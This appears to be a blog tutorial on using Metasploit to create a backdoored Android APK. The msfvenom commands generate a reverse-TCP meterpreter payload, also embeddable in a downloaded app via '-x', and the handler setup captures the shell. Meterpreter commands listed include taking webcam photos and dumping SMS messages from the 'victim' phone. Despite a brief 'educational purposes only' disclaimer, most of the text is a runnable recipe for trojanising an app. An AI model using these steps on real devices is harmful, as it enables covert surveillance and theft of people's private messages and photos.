[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf)

Requirements:

• Linux-based OS
• You'll need to have msfconsole installed on your machine
  You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor.
•  Install apktool as well.

Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft.

Steps

1) First of all open up your terminal. (Ctrl + Alt + T)

$ sudo apt-get update

Update your repositories before starting.

2) Once updated, we can start. Simply follow the steps below to get started:

$ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk

Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

• You can check out the architecture list for msfvenom here!

Set LHOST to the ip address of your machine and LPORT to any port number which is not being used by your network, for e.g 4444.

$ ifconfig

ifconfig will give you the IP address you need to start the exploit.

3) Once you've set LHOST and LPORT, Press Enter and wait till the Main activity is created.

4) After it's created, simply move the apk file to your phone and Install it.

5) Open ./msfconsole on your terminal.

$ sudo ./msfconsole

6) Once the console is up, turn it to the exploit mode by generating the following command:

msf > use multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 'xxx.xxx.x.x'
msf exploit(handler) > set LPORT 'xxxx'

7) Almost done!
Run exploit and tap on the Main Activity you just installed on your android phone. This will give you access to the android phone from the terminal.

msf exploit(handler) > exploit

8) The meterpreter must be up and running by now. Run the help command to see the arguments you can use.

meterpreter > webcam_snap -i 2

You can also generate the backdoor in an existing app.
Simply download the app from the internet, and use the '-x' to specify the name of the app you just dowloaded.

After msfvenom re created the app, install it into your android phone and the remaining steps remains the same.

Examples:

• webcam_scap
  This will take a picture from the camera you specified, of course, if the android phone has front and back camera. The camera is specified in the form of index (-i).
  1: Front Camera
  2: Back Camera

•  ps
  Will list all running activities on the phone. 

•  dump_sms
  Will save all the messages sent and received on the android phone, to an external .txt file.

---

If you're having trouble, please leave it in the comments section below.